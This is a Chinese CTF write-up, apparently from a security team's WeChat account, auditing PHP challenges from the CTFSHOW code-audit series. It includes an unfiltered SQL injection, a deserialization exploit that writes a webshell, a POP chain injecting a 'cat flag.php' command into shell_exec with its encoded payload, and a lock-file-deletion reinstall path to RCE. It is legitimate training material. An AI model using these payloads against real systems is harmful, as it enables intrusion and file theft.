301
index中包含了一个conn.php文件,它主要内容是对数据库的一个连接作用
然后发现会重定向到login.php文件
里面发现有一段html表单向logincheck.php提交数据
跟踪到logincheck文件
这里发现申明了post请求方式参数为userid然后userid的值会保存在username变量中,然后带入数据库中查询,发现数据库整个变量没有经过任何过滤,导致了sql注入
305
前面套路一样,跟踪到登录检测文件之后发现sql注入过滤了
查看fun.php文件发现一堆正则
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
if(preg_match('/~|`|!|@|#|$|%|^|&|*|(|)|_|+|=|{|}|[|]|;|:|'|"|,|.|?|/|\|<|>/', $str)){
return false;
}else{
return true;
}
}
发现还包含了一个class文件
查看class文件,定义了一个类,并且在登录检测文件中,又反序列化函数,如图一和图二
在class文件中发现危险函数`file_put_contents`可以利用username和password属性写shell
exp:
class user
{
public $username;
public $password;
}
$a = new user();
$a->username = "lan.php";
$a->password = "<?php echo pwned_by_T4x0r;?>";
echo urlencode(serialize($a));
我们发现他是在cookie反序列化,我们在登录是cookie传
后面getshell操作大家都会,看看exp,这里点到为止
307
前面操作都一样,然后我们看login.php文件
发现
很明显的反序列化点
并且包含文件controller/service/service.php文件
跟进这个文件
发现是个类,没有任何危险函数(emmmm,直观的这样看)
我随后跟进了几个类,如`config`类,都没有发现什么有价值的利用点
config
发现就是一些对数据库的操作
当我跟踪dao这个类的时候发现危险函数shell_exec
在我们看上面的包含时,可以发现,还包含了我们第一次跟进来的config类
整个调用过程,说实话,没啥好说的,都是__destruct()魔术方法和__construct魔术方法,所以我们就直接写链子吧
exp:
class config{
public $cache_dir = ';cat /var/www/html/flag.php > /var/www/html/lan.txt;';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
pop:
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTI6IjtjYXQgL3Zhci93d3cvaHRtbC9mbGFnLnBocCA+IC92YXIvd3d3L2h0bWwvbGFuLnR4dDsiO319
601
这里是完整的MVC架构的审计,并且还是无框架的mvc,没有用任何的TP啥的
我们把站点跑起来
看url很容易看出来就是MVC
我们先看入口文件index
哈,无语,按道理来说一般配置文件web.config或者是.htaccess、index.php这些文件会定义路由,没办法,因为我不太会用phpstorm的全局搜索(我一般审计都是phpstorm+seay),用seay搜索下
点进去看看
这有个get方法,我们跟进get方法看看
没截图全,总的来说就像tp一样定义了一些请求方法
同样我们跟进下act方法,发现是个过滤的
总结下,action参数是调用方法,实现mvc,emmmmm就和tp意思一样,不说了
这块有点像我21年在HashRun团队审计的一个国际商城的数据库备份恢复功能,当时那个getshell是因为,导入新数据的时候会执行insert的sql语句然后用数组闭合,就可以造成getshell(大概流程,作为了解就ok)
我们仔细看这块,是本地上传sql文件然后赋值给filename变量,然后会调用parseSQL方法对filename变量经行处理,我们现在跟进下parseSQL方法
发现这个方法主要是对数据库的一些语句以及数据进来的处理,我们往下看
等等,补充一点,在上上图的localupload方法中,我们发现这里面所有的变量都没有经过act方法的过滤,所以说我们后面要继续往后看看有没有点执行sql语句,现在为止,基本所有变量都是可控的
我们前面所有的操作都数组化了,我们看parseSQL方法中使用了join方法把上面的数组操作转换成了字符串,然后赋值给sqlstr变量,sqlstr变量又进入导query方法,我们现在跟进query方法
这里发现直接执行了sql语句,也同样没有经过act方法或者是其他的过滤
我们现在删除备份的时候发现传入一个id值,我们跟进下id
我们发现这里删除的时候声明了一个id参数,并且进过了act方法过滤,然后必须为整数,我们看id这个变量后面进如了del方法,我们现在跟进del方法
然后我们发现,这边经行数据库查询之后,会把值给变量photomd5data变量,然后进行数组遍历给变量md5,然后进如到最后一个操作unlink方法,这应该是个文件删除,现在可以设想,我们现对其经行删除lock文件,那么系统内容就可以重装,重装之后我们就可以getshell,现在我们跟进unlink方法
发现没有任何限制
所以我们可以直接删除lock文件使系统重装,我们现在返回install,看下有没有能RCE的点
在这里发现包含了一个function文件,我们跟进下
注释中也给到了,这里开始写入配置文件,既然又写入操作看下能不能rce
我们跟进最后一个方框的方法
危险函数可控,我们可以RCE
我们最后只需要数组闭合下就ok
原文始发于微信公众号(HashRun安全团队):CTFSHOW--代码审计篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论